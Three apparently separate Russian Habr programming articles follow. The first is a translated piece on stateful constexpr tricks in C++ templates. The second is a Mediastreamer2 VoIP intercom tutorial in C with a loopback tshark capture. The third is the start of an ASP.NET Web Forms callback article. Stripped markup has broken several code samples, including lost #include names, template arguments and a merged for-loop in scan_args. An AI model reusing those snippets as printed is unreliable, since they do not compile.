Гораздо проще для решения нашей задачи использовать оператор noexcept. Этот оператор возвращает true для выражений, которые не могут возбуждать исключения, и false в противном случае. В частности, все константные выражения считаются не выбрасывающими исключения. На этом мы и сыграем.
> constexpr int f ();
>
> void indirection ();
>
>
>
> int main ()
>
> {
>
> // `f()` не является константным выражением,
>
> // пока ее определение отсутствует
>
>
>
> constexpr bool b = noexcept (f ()); // false
>
> }
>
>
>
> constexpr int f ()
>
> {
>
> return 0;
>
> }
>
>
>
> void indirection ()
>
> {
>
> // А теперь является
>
>
>
> constexpr bool b = noexcept (f ()); // true
>
> }
> **Замечание:** в настоящее время **clang** содержит [баг](https://llvm.org/bugs/show_bug.cgi?id=15481), из-за которого noexcept не возвращает true, даже если проверяемое выражение является константным. Обходной путь можно найти в [приложении](#Appendix) к этой статье.
### Семантика инстанцирования шаблонов
Если в стандарте C++ и есть часть, которая бросает большинству программистов настоящий вызов, она, несомненно, связана с шаблонами. Реши я рассмотреть здесь каждый аспект инстанцирования шаблонов, статья непомерно бы разрослась, и вы застряли бы с ее чтением по меньшей мере на несколько часов.
Поскольку это не то, к чему мы стремимся, я вместо этого попытаюсь рассказать только о фундаментальных принципах инстанцирования, которые потребуются для понимания того, как будет работать решение нашей задачи.
> **Замечание:** Учтите, что содержимое этого раздела не является полным справочником по инстанцированию шаблонов. Из упомянутых в нем правил есть исключения, кроме того, я намеренно опустил некоторые факты, которые выходят слишком далеко за рамки статьи.
#### Основные принципы
**Словарик для самых маленьких*** **Специализация шаблона** — реализация, полученная из шаблона заменой шаблонных параметров на конкретные аргументы. template class Foo — шаблон. Foo — его специализация. Программист может самостоятельно предоставить **полную** или **частичную** специализацию шаблона для определенных наборов аргументов, если необходимо, чтобы ее поведение отличалось от обобщенного. Частичная специализация недоступна для шаблонов функций.
* **Инстанцирование специализации шаблона** — получение компилятором кода специализации из обобщенного кода шаблона. Для краткости часто говорят об инстанцировании шаблона с определенными аргументами, опуская слово «специализация».
* Инстанцирование может быть **явным** или **неявным**. При явном инстанцировании программист самостоятельно сообщает компилятору о необходимости инстанцировать шаблон с определенными аргументами, например: template class Foo . Кроме того, компилятор может самостоятельно неявно инстанцировать специализацию, если ему это потребуется.
Далее следует сжатый перечень принципов, которые имеют самое прямое отношение к нашей задаче:
* Специализация шаблона (как класса, так и функции) *может быть* неявно инстанцирована, только если она ранее не была явно инстанцирована, и пользователь не предоставил соответствующей полной специализации.
* Специализация шаблона функции *будет* неявно инстанцирована, если она упоминается в контексте, требующем ее *определения*, и при этом выполнен первый пункт.
* Специализация шаблона класса *будет* неявно инстанцирована, если она упоминается в контексте, который требует *полностью определенного* (complete) типа, либо в случае, когда эта полнота влияет на семантику программы, и при этом (в обоих случаях) выполнен первый пункт.
* Инстанцирование шаблона класса вызывает неявное инстанцирование *объявлений* всех его членов, но не их *определений*, за исключением случаев, когда член является:
+ Статическим членом-переменной, в случае которой объявление также не будет инстанцировано, или;
+ Перечислением без области видимости или анонимным объединением, в случае которых будут инстанцированы как объявление, так и определение.
* *Определения* членов будут неявно инстанцированы, когда будут запрошены, но не раньше.
* Если специализация шаблона класса содержит *friend*-объявления, имена этих друзей рассматриваются далее так, как будто их явные специализации были размещены в точке инстанцирования.
#### Точки инстанцирования
Всякий раз, когда контекст, в котором упоминается специализация шаблона класса или функции, требует ее инстанцирования, возникает т.н. *точка инстанцирования* (которая фактически определяет одно из мест, в которых может находиться компилятор на момент генерации кода специализации из обобщенного кода шаблона).
В случае вложенных шаблонов, когда специализация X внутреннего шаблона упоминается в контексте, зависящем от параметров внешнего шаблона Y, точка инстанцирования этой специализации будет зависеть от соответствующей точки для внешнего шаблона:
* Если X является специализацией шаблона функции, точка инстанцирования будет совпадать с точкой инстанцирования Y.
* Если X является специализацией шаблона класса, точка инстанцирования будет находиться непосредственно перед точкой инстанцирования Y.
Если же вложенных шаблонов нет, или контекст не зависит от параметров внешнего шаблона, точка инстанцирования будет привязана к точке D объявления/определения «наиболее глобальной» сущности, внутри которого упоминалась специализация X:
* Если X является специализацией шаблона функции, точка инстанцирования будет находиться сразу после D.
* Если X является специализацией шаблона класса, точка инстанцирования будет находиться непосредственно перед D.
#### Генерация специализации шаблона функции
Специализация шаблона функции может иметь любое количество точек инстанцирования, но выражения внутри нее должны иметь одинаковый смысл независимо от того, какую из точек инстанцирования компилятор выберет для генерации кода (в противном случае программа считается некорректной).
Для простоты стандарт C++ предписывает считать, что у любой инстанцированной специализации шаблона функции есть дополнительная точка инстанцирования в конце [*единицы трансляции*](https://goo.gl/zHTZo1):
> namespace N
>
> {
>
> struct X { /\* Специально оставлена пустой \*/ };
>
>
>
> void func (X, int);
>
> }
>
>
>
> template <typename T>
>
> void call\_func (T val)
>
> {
>
> func (val, 3.14f);
>
> }
>
>
>
> int main ()
>
> {
>
> call\_func (N::X {});
>
> }
>
>
>
> //Первая точка инстанцирования
>
>
>
> namespace N
>
> {
>
> float func (X, float);
>
> }
>
>
>
> //Вторая точка инстанцирования
В этом примере у нас есть две точки инстанцирования функции void call\_func (N::X). Первая находится сразу после определения main (потому что call\_func вызывается внутри нее), а вторая — в конце файла.
Приведенный пример является некорректным из-за того, что поведение call\_func изменяется в зависимости от того, в какой из них компилятор сгенерирует код специализации:
* В первой точке call\_func вызовет func (X, int), потому что другие перегрузки в этот момент еще отсутствуют.
* Во второй точке call\_func вызовет уже объявленную к этому моменту func (X, float), как наиболее подходящую из всех доступных перегрузок.
#### Генерация специализации шаблона класса
Для специализации шаблона класса все точки инстанцирования, кроме первой, игнорируются. Это фактически означает, что компилятор должен сгенерировать код специализации во время первого ее упоминания в требующем инстанцирования контексте.
> namespace N
>
> {
>
> struct X { /\* Специально оставлена пустой \*/ };
>
>
>
> void func (X, int);
>
> }
>
>
>
> template<typename T> struct A { using type = decltype (func (T{}, 3.14f)); };
>
> template<typename T> struct B { using type = decltype (func (T{}, 3.14f)); };
>
>
>
> //Точка инстанцирования A
>
>
>
> int main ()
>
> {
>
> A<N::X> a;
>
> }
>
>
>
> namespace N
>
> {
>
> float func (X, float);
>
> }
>
>
>
> //Точка инстанцирования B
>
>
>
> void g ()
>
> {
>
> A<N::X>::type a; // Некорректно, type будет `void`
>
> B<N::X>::type b; // OK, type будет `float`
>
> }
Здесь точка инстанцирования A будет находиться непосредственно перед main, в то время как точка инстанцирования B — только перед g.
#### Собираем все воедино
Правила, связанные с *friend*-объявлениями внутри шаблонов классов, утверждают, что в следующем примере определения func (short) и func (float) генерируются и размещаются в точках инстанцирования соответственно специализаций A и A .
> constexpr int func (short);
>
> constexpr int func (float);
>
>
>
> template <typename T>
>
> struct A
>
> {
>
> friend constexpr int func (T) { return 0; }
>
> };
>
>
>
> template <typename T>
>
> A <T> indirection ()
>
> {
>
> return {};
>
> }
>
>
>
> // (1)
>
>
>
> int main ()
>
> {
>
> indirection <short> (); // (2)
>
> indirection <float> (); // (3)
>
> }
Когда вычисляемое выражение содержит вызов специализации шаблона функции, возвращаемый тип этой специализации должен быть полностью определен. Поэтому вызовы в строках (2) и (3) влекут за собой неявное инстанцирование специализаций A вместе со специализациями indirection перед их точками инстанцирования (которые, в свою очередь, находятся перед main).
Важно, что до достижения строк (2) и (3) функции func (short) и func (float) *объявлены*, но не *определены*. Когда достижение этих строк вызовет инстанцирование специализаций A, определения этих функций появятся, но будут расположены не рядом с этими строками, а в точке (1).
Решение
-------
Надеюсь, что [предварительные сведения](#Prerequisites) в достаточной мере раскрывают все аспекты языка, которые используются в решении, приведенном в этом разделе.
На всякий случай напомню, что для того, чтобы в полной мере понять, как и почему работает решение, вы должны иметь представление о следующих аспектах:
* Ключевое слово friend, и;
* Правила для константных выражений, и;
* Семантика инстанцирования шаблонов.
### Реализация
> constexpr int flag (int);
>
>
>
> template <typename Tag>
>
> struct writer
>
> {
>
> friend constexpr int flag (Tag)
>
> {
>
> return 0;
>
> }
>
> };
>
>
>
> template <bool B, typename Tag = int>
>
> struct dependent\_writer : writer <Tag> { };
>
>
>
> template <
>
> bool B = noexcept (flag (0)),
>
> int = sizeof (dependent\_writer <B>)
>
> >
>
> constexpr int f ()
>
> {
>
> return B;
>
> }
>
>
>
> int main ()
>
> {
>
> constexpr int a = f ();
>
> constexpr int b = f ();
>
>
>
> static\_assert (a != b, "fail");
>
> }
> **Замечание:** **clang** демонстрирует некорректное поведение с этим кодом, обходной путь доступен в [приложении](#Appendix).
> **Прим. пер:** Визуальные подсказки в **Visual Studio 2015** также «не замечают» изменений в f (). Тем не менее, после компиляции значения a и b различаются.
### Но как это работает?
Если вы прочли [предварительные сведения](#Prerequisites), понимание приведенного выше решения не должно вызвать у вас затруднений, но даже в этом случае подробное объяснение принципов работы различных его частей может представлять интерес.
В этом разделе пошагово разбирается исходный код и дается краткое описание и обоснование для каждого его фрагмента.
#### “Переменная”
В каждой точке программы *constexpr*-функция может находиться в одном из двух состояний: либо она уже определена и может вызываться из константных выражений, либо нет. Возможна только одна из этих двух ситуаций (если не допускать неопределенного поведения).
Обычно *constexpr*-функции рассматриваются и используются именно как функции, однако благодаря вышесказанному мы можем думать о них как о “переменных”, которые имеют тип, похожий на bool. Каждая такая “переменная” находится в одном из двух состояний: “определена” или “не определена”.
> constexpr int flag (int);
В нашей программе функция flag является просто подобным триггером. Мы нигде не будем вызывать ее как функцию, интересуясь только ее текущим состоянием как “переменной”.
#### Модификатор
writer это шаблон класса, который при инстанцировании создает определение для функции в своем объемлющем пространстве имен (в нашем случае — глобальном). Параметр шаблона Tag определяет конкретную сигнатуру функции, определение которой будет создано:
> template <typename Tag>
>
> struct writer
>
> {
>
> friend constexpr int flag (Tag)
>
> {
>
> return 0;
>
> }
>
> };
Если мы, как и собирались, будем рассматривать *constexpr*-функции как “переменные”, то инстанцирование writer с аргументом шаблона T вызовет безусловный перевод “переменной” с сигнатурой int func (T) в положение “определена”.
#### Прокси
> template <bool B, typename Tag = int>
>
> struct dependent\_writer : writer <Tag> { };
Я не удивлен, если вы решили, что dependent\_writer выглядит как бессмысленная прослойка, добавляющая косвенности. Почему бы напрямую не инстанцировать writer там, где мы хотим изменить значение “переменной”, вместо обращения к нему через dependent\_writer?
Дело в том, что прямое обращение к writer не гарантирует, что первый аргумент шаблона функции f будет вычислен раньше второго (и функция при первом вызове успеет “запомнить”, что нужно вернуть false, а уже потом изменит значение “переменной”).
Чтобы задать нужный нам порядок вычисления аргументов шаблона, можно добавить дополнительную зависимость при помощи dependent\_writer. Первый шаблонный аргумент dependent\_writer должен быть вычислен до его инстанцирования, и, следовательно, до инстанцирования самого writer. Поэтому, передавая B в dependent\_writer в качестве аргумента, мы можем быть уверены, что к моменту инстанцирования writer возвращаемое функцией f значение уже будет вычислено.
> **Замечание:** При написании реализации я рассматривал множество альтернатив, пытаясь найти наиболее простую для понимания. Я искренне надеюсь, что этот фрагмент получился не слишком запутанным.
#### Магия
> template <
>
> bool B = noexcept (flag (0)), // (1)
>
> int = sizeof (dependent\_writer <B>) // (2)
>
> >
>
> constexpr int f ()
>
> {
>
> return B;
>
> }
Этот фрагмент может показаться немного странным, но на самом деле он очень прост:
* (1) устанавливает B равным true, если flag (0) является константным выражением, и равным false, если нет;
* (2) неявно инстанцирует dependent\_writer (оператор sizeof требует полностью определенного типа). При этом инстанцируется и writer , что, в свою очередь, вызывает генерацию определения int flag (int) и изменение состояния нашей “переменной”.
Поведение можно выразить следующим псевдокодом:
```
ЕСЛИ [ `int flag (int)` еще не определена ]:
УСТАНОВИТЬ `B` = `false`
ИНСТАНЦИРОВАТЬ `dependent_writer `
ВЕРНУТЬ `B`
ИНАЧЕ:
УСТАНОВИТЬ `B` = `true`
ИНСТАНЦИРОВАТЬ `dependent\_writer `
ВЕРНУТЬ `B`
```
Таким образом, при первом вызове f шаблонный аргумент B будет равен false, но побочным эффектом вызова f станет изменение состояния “переменной” flag (генерация и размещение ее определения перед телом main). При дальнейших вызовах f “переменная” flag будет уже в состоянии “определена”, поэтому B будет равно true.
Заключение
----------
> То, что люди продолжают открывать сумасшедшие способы сделать при помощи C++ новые вещи (которые раньше считались невозможными), является одновременно удивительным и ужасным. — *Морис Бос*
В этой статье объясняется базовая идея, позволяющая добавить состояние константным выражениям. Иными словами, общепринятая теория (к которой часто обращался и я сам) о том, что константные выражения являются “константными”, теперь разрушена.
> **Прим. пер:** На мой взгляд, «разрушена» — чересчур сильное слово. Все таки, несмотря на идентичность имен, в решении вызываются две различные специализации шаблонной функции f (), каждая из которых является полноценно «константной». Разумеется, это не умаляет общей полезности идеи.
При написании статьи я не мог не думать об [*истории шаблонного метапрограммирования*](http://goo.gl/iEXMsf) и том, как странно, что язык позволяет сделать больше, чем когда-либо предполагалось делать с его помощью.
Что дальше?
Я написал библиотеку для *императивного шаблонного метапрограммирования*, названную **smeta**, которая будет опубликована, объяснена и обсуждена в предстоящих статьях. Среди тем, которые будут охвачены:
* Как реализовать compile-time счетчик
* Как реализовать compile-time контейнер метатипов
* Как проверять разрешения перегрузок и управлять ими
* Как добавить рефлексию в C++
> **Прим. пер:** Автор сообщает, что решил отменить релиз **smeta**, т.к. эта и последующие статьи содержат (либо будут содержать) практически все ее фичи, и, следовательно, самостоятельная реализация читателем ее функциональности для себя будет практически тривиальна. Я, например, уже (вопреки предостережению Филиппа, ага) внедрил некоторые идеи и собираюсь собрать их в нечто библиотекоподобное в перспективе.
Приложение
----------
Из-за [этого](https://llvm.org/bugs/show_bug.cgi?id=15481) (и связанных с ним) бага в **clang** приведенное выше решение вызывает неправильное поведение программы при правильной реализации. Ниже приведена альтернативная реализация решения, написанная специально для **clang** (которая по-прежнему является корректным C++-кодом и может использоваться с любыми компиляторами, хоть и несколько усложнена).
> namespace detail
>
> {
>
> struct A
>
> {
>
> constexpr A () { }
>
> friend constexpr int adl\_flag (A);
>
> };
>
>
>
> template <typename Tag>
>
> struct writer
>
> {
>
> friend constexpr int adl\_flag (Tag)
>
> {
>
> return 0;
>
> }
>
> };
>
> }
>
>
>
> template <typename Tag, int = adl\_flag (Tag {})>
>
> constexpr bool is\_flag\_usable (int)
>
> {
>
> return true;
>
> }
>
>
>
> template <typename Tag>
>
> constexpr bool is\_flag\_usable (...)
>
> {
>
> return false;
>
> }
>
>
>
> template <bool B, class Tag = detail::A>
>
> struct dependent\_writer : detail::writer <Tag> { };
>
>
>
> template <
>
> class Tag = detail::A,
>
> bool B = is\_flag\_usable <Tag> (0),
>
> int = sizeof (dependent\_writer <B>)
>
> >
>
> constexpr int f ()
>
> {
>
> return B;
>
> }
>
>
>
> int main ()
>
> {
>
> constexpr int a = f ();
>
> constexpr int b = f ();
>
>
>
> static\_assert (a != b, "fail");
>
> }
> **Замечание:** В настоящее время я пишу соответствующие баг-репорты, которые будут показывать, почему именно такое обходное решение работоспособно в **clang**. Ссылки на них будут добавлены, как только репорты будут поданы (пока все глухо — *прим. пер.*).
**Раздел благодарностей из оригинальной статьи**Благодарности
-------------
Есть много людей, без которых эта статья не была бы написана, но я особенно благодарен:
* **Морису Босу, за:**
+ Помощь с формулировкой идей.
+ Предоставление мне средств на покупку контактных линз, что избавило меня от необходимости (буквально) писать вслепую.
+ Терпимость к моим приставаниям по поводу его мнения о статье.
* **Михаэлю Килпелайнену, за:**
+ Корректуры, а также интересные мысли о том, как сделать эту статью более понятной.
* **Columbo, за:**
+ Безуспешные попытки доказать, что описанная техника порождает некорректные программы (путем бросания параграфов стандарта C++ мне в лицо). Если что, я бы сделал то же самое для него.
От переводчика
--------------
Я наткнулся на эту статью около месяца назад и был впечатлен ~~ужасными непотребствами~~ изяществом идеи, позволяющей добавить в метапрограммирование на шаблонах, по своей природе функциональное, зависимость от глобального состояния. Автор статьи, [Филипп Росеен](https://www.facebook.com/filip.roseen) — разработчик, музыкант, фотомодель и просто хороший человек — любезно разрешил мне перевести ее на русский.
Эта статья является первой в [серии статей](http://b.atch.se/) об императивном метапрограммировании, которые развивают идею неконстантных *constexpr*’ов (непосредственная применимость которых на практике сильно ограничена) до реализации конструкций, которые могут сделать реальное метапрограммирование существенно удобнее.
Я собираюсь в ближайшее время перевести две оставшиеся статьи (о compile-time счетчике и о контейнере метатипов). Кроме того, Филипп сказал, что в обозримом будущем продолжит серию и разовьет идеи дальше (тогда, разумеется, будут и новые переводы).
Исправления, дополнения, пожелания приветствуются. Можете также [написать](mailto:filip.roseen@gmail.com) самому Филиппу, я думаю, что он будет рад любым комментариям. | https://habr.com/ru/post/268141/ | null | ru | null |
# Изучаем VoIP-движок Mediastreamer2. Часть 9
Материал статьи взят с моего [дзен-канала](https://zen.yandex.ru/id/5e3f8e0751f5346faab4fc7a).
Дуплексное переговорное устройство
----------------------------------
В прошлой [статье](https://habr.com/ru/post/496666/) было анонсировано дуплексное переговорное устройство, а в этой мы его сделаем.
Схема изображена на заглавном рисунке. Нижняя цепь фильтров образует передающий тракт, который начинается со звуковой карты. Она выдает отсчеты сигнала с микрофона. По умолчанию это происходит в темпе 8000 отсчетов в секунду. Разрядность данных, которую используют звуковые фильтры медиастримера — 16 бит ( это не принципиально, при желании можно написать фильтры которые будут работать с большей разрядностью). Данные сгруппированы в блоки по 160 отсчетов. Таким образом каждый блок имеет размер 320 байт. Далее мы подаем данные на вход генератора, который в выключенном состоянии "прозрачен" для данных. Я его добавил на тот случай, когда вам при отладке надоест говорить в микрофон — вы сможете воспользоваться генератором, чтобы "прострелить" тракт тональным сигналом.
После генератора сигнал попадает на кодер, который преобразует наши 16-битные отсчеты по µ-закону (стандарт G.711) в восьмибитные. На выходе кодера мы уже имеем блок данных в два раза меньшего размера. В общем случае, мы можем передавать данные без сжатия, если нам не требуется экономить трафик. Но здесь полезно воспользоваться кодером, так как Wireshark может воспроизводить звук из RTP-потока только тогда когда он сжат по µ-закону или а-закону.
После кодера, полегчавшие блоки данных поступают на фильтр rtpsend, который положит их в RTP-пакет, установит необходимые флаги и отдаст их медиастримеру для передачи по сети в виде UDP-пакета.
Верхняя цепь фильтров образует приемный тракт, RTP-пакеты, полученные медиастримером из сети, поступают в фильтр rtprecv, на выходе которого, они появляются уже в виде блоков данных, каждый из которых соответствует одному принятому пакету. Блок содержит только данные полезной нагрузки, в прошлой статье на иллюстрации они были показаны зеленым цветом.
Далее блоки поступают на фильтр декодера, который преобразует находящиеся в них однобайтные отсчеты, в линейные, 16-битные. Которые уже можно обрабатывать фильтрами медиастримера. В нашем случае мы просто отдаем их на звуковую карту, для воспроизведения на динамиках вашей гарнитуры.
Теперь перейдем к программной реализации. Для этого мы объединим файлы приемника и передатчика, которые мы размежевали до этого. До этого мы использовали фиксированные настройки портов и адресов, но теперь нам нужно чтобы программа могла использовать те настройки, которые мы укажем при запуске. Для этого бы добавим функционал обработки аргументов командной строки. После чего мы сможем задавать IP-адрес и порт переговорного устройства, с которым мы хотим установить связь.
Сначала добавим в в программу структуру, которая будет хранить её настройки:
```
struct _app_vars
{
int local_port; /* Локальный порт. */
int remote_port; /* Порт переговорного устройства на удаленном компьютере. */
char remote_addr[128]; /* IP-адрес удаленного компьютера. */
MSDtmfGenCustomTone dtmf_cfg; /* Настройки тестового сигнала генератора. */
};
typedef struct _app_vars app_vars;
```
В программе будет объявлена структура этого типа с именем vars.
Затем добавим функцию разбора аргументов командной строки:
```
/* Функция преобразования аргументов командной строки в
* настройки программы. */
void scan_args(int argc, char *argv[], app_vars *v)
{
char i;
for (i=0; iremote\_addr, argv[i+1], 16);
v->remote\_addr[16]=0;
printf("remote addr: %s\n", v->remote\_addr);
}
if (!strcmp(argv[i], "--port"))
{
v->remote\_port=atoi(argv[i+1]);
printf("remote port: %i\n", v->remote\_port);
}
if (!strcmp(argv[i], "--lport"))
{
v->local\_port=atoi(argv[i+1]);
printf("local port : %i\n", v->local\_port);
}
if (!strcmp(argv[i], "--gen"))
{
v -> dtmf\_cfg.frequencies[0] = atoi(argv[i+1]);
printf("gen freq : %i\n", v -> dtmf\_cfg.frequencies[0]);
}
}
}
```
В результате разбора, аргументы командной строки будут помещены в поля структуры vars. Главная функция приложения будет собирать из фильтров передающий и приемный тракты, после подключения тикера управление будет передано бесконечному циклу который, если частота генератора была задана ненулевой, будет перезапускать тестовый генератор — чтобы он работал без остановки.
Эти перезапуски будут нужны генератору из-за его особенности построения, почему-то он не может выдавать сигнал длительностью более 16 секунд. При этом следует заметить, что длительность у него задается 32-битным числом.
Программа целиком будет выглядеть так:
```
/* Файл mstest8.c Имитатор переговорного устройства. */
#include
#include
#include
/\* Подключаем файл общих функций. \*/
#include "mstest\_common.c"
/\*----------------------------------------------------------\*/
struct \_app\_vars
{
int local\_port; /\* Локальный порт. \*/
int remote\_port; /\* Порт переговорного устройства на удаленном компьютере. \*/
char remote\_addr[128]; /\* IP-адрес удаленного компьютера. \*/
MSDtmfGenCustomTone dtmf\_cfg; /\* Настройки тестового сигнала генератора. \*/
};
typedef struct \_app\_vars app\_vars;
/\*----------------------------------------------------------\*/
/\* Создаем дуплексную RTP-сессию. \*/
RtpSession\* create\_duplex\_rtp\_session(app\_vars v)
{
RtpSession \*session = create\_rtpsession (v.local\_port, v.local\_port + 1, FALSE, RTP\_SESSION\_SENDRECV);
rtp\_session\_set\_remote\_addr\_and\_port(session, v.remote\_addr, v.remote\_port, v.remote\_port + 1);
rtp\_session\_set\_send\_payload\_type(session, PCMU);
return session;
}
/\*----------------------------------------------------------\*/
/\* Функция преобразования аргументов командной строки в
\* настройки программы. \*/
void scan\_args(int argc, char \*argv[], app\_vars \*v)
{
char i;
for (i=0; iremote\_addr, argv[i+1], 16);
v->remote\_addr[16]=0;
printf("remote addr: %s\n", v->remote\_addr);
}
if (!strcmp(argv[i], "--port"))
{
v->remote\_port=atoi(argv[i+1]);
printf("remote port: %i\n", v->remote\_port);
}
if (!strcmp(argv[i], "--lport"))
{
v->local\_port=atoi(argv[i+1]);
printf("local port : %i\n", v->local\_port);
}
if (!strcmp(argv[i], "--gen"))
{
v -> dtmf\_cfg.frequencies[0] = atoi(argv[i+1]);
printf("gen freq : %i\n", v -> dtmf\_cfg.frequencies[0]);
}
}
}
/\*----------------------------------------------------------\*/
int main(int argc, char \*argv[])
{
/\* Устанавливаем настройки по умолчанию. \*/
app\_vars vars={5004, 7010, "127.0.0.1", {0}};
/\* Устанавливаем настройки настройки программы в
\* соответствии с аргументами командной строки. \*/
scan\_args(argc, argv, &vars);
ms\_init();
/\* Создаем экземпляры фильтров передающего тракта. \*/
MSSndCard \*snd\_card =
ms\_snd\_card\_manager\_get\_default\_card(ms\_snd\_card\_manager\_get());
MSFilter \*snd\_card\_read = ms\_snd\_card\_create\_reader(snd\_card);
MSFilter \*dtmfgen = ms\_filter\_new(MS\_DTMF\_GEN\_ID);
MSFilter \*rtpsend = ms\_filter\_new(MS\_RTP\_SEND\_ID);
/\* Создаем фильтр кодера. \*/
MSFilter \*encoder = ms\_filter\_create\_encoder("PCMU");
/\* Регистрируем типы нагрузки. \*/
register\_payloads();
/\* Создаем дуплексную RTP-сессию. \*/
RtpSession\* rtp\_session= create\_duplex\_rtp\_session(vars);
ms\_filter\_call\_method(rtpsend, MS\_RTP\_SEND\_SET\_SESSION, rtp\_session);
/\* Соединяем фильтры передатчика. \*/
ms\_filter\_link(snd\_card\_read, 0, dtmfgen, 0);
ms\_filter\_link(dtmfgen, 0, encoder, 0);
ms\_filter\_link(encoder, 0, rtpsend, 0);
/\* Создаем фильтры приемного тракта. \*/
MSFilter \*rtprecv = ms\_filter\_new(MS\_RTP\_RECV\_ID);
ms\_filter\_call\_method(rtprecv, MS\_RTP\_RECV\_SET\_SESSION, rtp\_session);
/\* Создаем фильтр декодера, \*/
MSFilter \*decoder=ms\_filter\_create\_decoder("PCMU");
/\* Создаем фильтр звуковой карты. \*/
MSFilter \*snd\_card\_write = ms\_snd\_card\_create\_writer(snd\_card);
/\* Соединяем фильтры приёмного тракта. \*/
ms\_filter\_link(rtprecv, 0, decoder, 0);
ms\_filter\_link(decoder, 0, snd\_card\_write, 0);
/\* Создаем источник тактов - тикер. \*/
MSTicker \*ticker = ms\_ticker\_new();
/\* Подключаем источник тактов. \*/
ms\_ticker\_attach(ticker, snd\_card\_read);
ms\_ticker\_attach(ticker, rtprecv);
/\* Если настройка частоты генератора отлична от нуля, то запускаем генератор. \*/
if (vars.dtmf\_cfg.frequencies[0])
{
/\* Настраиваем структуру, управляющую выходным сигналом генератора. \*/
vars.dtmf\_cfg.duration = 10000;
vars.dtmf\_cfg.amplitude = 1.0;
}
/\* Организуем цикл перезапуска генератора. \*/
while(TRUE)
{
if(vars.dtmf\_cfg.frequencies[0])
{
/\* Включаем звуковой генератор. \*/
ms\_filter\_call\_method(dtmfgen, MS\_DTMF\_GEN\_PLAY\_CUSTOM,
(void\*)&vars.dtmf\_cfg);
}
/\* Укладываем тред в спячку на 20мс, чтобы другие треды
\* приложения получили время на работу. \*/
ms\_usleep(20000);
}
}
```
Компилируем. Далее программу можно запустить на двух компьютерах. Или на одном, как я буду делать сейчас. Запускаем TShark со следующими аргументами:
```
$ sudo tshark -i lo -f "udp dst port 7010" -P -V -O RTP -o rtp.heuristic_rtp:TRUE -x
```
Если поле запуска в консоли появится только сообщение о начале захвата, то это добрый знак -значит наш порт скорее всего не занят другими программами. В другом терминале запускаем экземпляр программы, который будет имитировать "удаленное" переговорное устройство указав ему этот номер порта:
```
$ ./mstest8 --port 9010 --lport 7010
```
Как видно из текста программы, по умолчанию используется IP-адрес 127.0.0.1 (локальная петля).
Еще в одном терминале запускаем второй экземпляр программы, который имитирует локальное устройство. Используем дополнительный аргумент, который разрешает работу встроенного тестового генератора:
```
$ ./mstest8 --port 7010 --lport 9010 --gen 440
```
В этот момент, в консоли с TShark должны начать мелькать пакеты передаваемые в сторону "удаленного" устройства, а из динамика компьютера раздастся непрерывный тональный сигнал.
Если все произошло как по писанному, то перезапускаем второй экземпляр программы, но уже без ключа и аргумента "--gen 440". Роль генератора теперь будете исполнять вы. После этого можно пошуметь в микрофон, в динамике или наушниках вы должны услышать соответствующий звук. Возможно даже возникнет акустическое самовозбуждение, убавьте громкость динамика и эффект пропадет.
Если у вы запускали на двух компьютерах и не запутались в IP-адресах, то вас ждет тот же результат — двусторонняя речевая связь цифрового качества.
В следующей [статье](https://habr.com/ru/post/497932/) мы научимся писать свои собственные фильтры — плагины, благодаря этому навыку вы сможете применить медиастример не только для звука и видео, но и в какой-нибудь иной специфической области. | https://habr.com/ru/post/496874/ | null | ru | null |
# Минимизация трафика в ASP.NET Web Forms, кликабельный div и периодический опрос сервера
Технология ASP.NET Web Forms медленно но верно уходит в прошлое. На смену ей приходят Web API с Angular 6 и похожие стеки. Но мне по наследству достался проект именно на Web Forms с огромным legacy. У меня есть несколько друзей, у которых плюс-минус похожая ситуация. Давно написанные приложения на старой технологии, которые надо развивать и поддерживать. У Web Forms есть возможность на PostBack не обновлять всю страницу, а только её часть. То что обёрнуто в UpdatePanel. Это добавляет интерактива, но всё равно работает довольно медленно и потребляет много трафика, т.к. рендеринг каждый раз происходит на сервере, а клиенту передаётся готовая разметка, которую нужно вставить вместо текущей внутрь div. К слову, UpdatePanel как раз рендерится в div, в котором потом разметка и заменяется.
Что тут можно сделать, чтобы минимизировать трафик?
1. Написать WebMethod на странице и вызывать его с клиента средствами AJAX, при получении ответа изменять DOM через JS.
Минус этого решения в том, что нельзя определить WebMethod в контроле. Вовсе не хочется весь функционал писать на странице, особенно если он используется несколько раз на разных страницах.
2. Написать asmx сервис, и вызывать его с клиента. Это уже лучше, но в этом случае нет явной связи между контролом и сервисом. Количество сервисов будет расти с увеличением количества контролов. Кроме того нам не будет доступен ViewState, а значит параметры будем передавать явным образом при обращении к сервису, значит будем делать серверную валидацию и проверять имеет ли пользователь право сделать то что он запросил.
3. Использовать интерфейс ICallbackEventHandler. Это на мой взгляд довольно неплохой вариант.
Остановлюсь на нём подробнее.
Первое что нужно сделать это отнаследовать наш UserControl от ICallbackEventHandler и написать методы RaiseCallbackEvent и GetCallbackResult. Немного странно, что их 2. Первый отвечает за получение параметров от клиента, второй за возвращение результата.
Выглядеть это будет примерно так
```
public partial class SomeControl : UserControl, ICallbackEventHandler
{
#region Поля
///
/// Идентификатор некоего файла
///
private Guid _someFileId;
#endregion
#region Реализация ICallbackEventHandler
///
public void RaiseCallbackEvent(string eventArgument)
{
//сначала управление придёт сюда
try
{
dynamic args = JsonConvert.DeserializeObject(eventArgument);
\_someFileId = (Guid) args.SomeFileId;
string type = (string) args.Type;
}
catch (Exception exc)
{
//логируем ошибку
throw;
}
}
///
public string GetCallbackResult()
{
//затем сюда
try
{
//делаем что-то полезное
return JsonConvert.SerializeObject(new
{
Action = actionName,
FileId = \_someFileId,
});
}
catch (Exception exc)
{
//логируем ошибку
throw;
}
}
#endregion
}
```
Это была серверная часть. Теперь клиентская
```
var SomeControl = {
_successCallbackHandler: function (responseData) {
let data = JSON.parse(responseData);
switch (data.Action) {
case "continue":
//делаем что-то на клиенте
break;
case "success":
//или делаем что-то другое
break;
case "fail":
//или делаем это
break;
default:
//не рекомендую использовать alert, но для примера пойдёт
alert("Произошла ошибка при получении данных от сервера");
break;
}
},
_failCallbackHandler: function() {
alert("Произошла ошибка при получении данных от сервера");
},
}
```
Это ещё не всё. Нам ещё необходимо сгенерировать JS что-бы связать все наши функции
```
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
//Добавляем на страницу SomeControl.js, если его ещё нет
Page.ClientScript.RegisterClientScriptInclude(Page.GetType(), "SomeControl", "/Scripts/controls/SomeControl.js?v=2.24.0");
string callbackArgument = //задаём некий тип
//***Тут самое интересное.*** Регистрируем в JS в объекте SomeControl функцию CallServer. Никогда так не называйте объекты и функции, это только для примера
ScriptManager.RegisterStartupScript(Page, Page.GetType(), "SomeControl.Initialize",
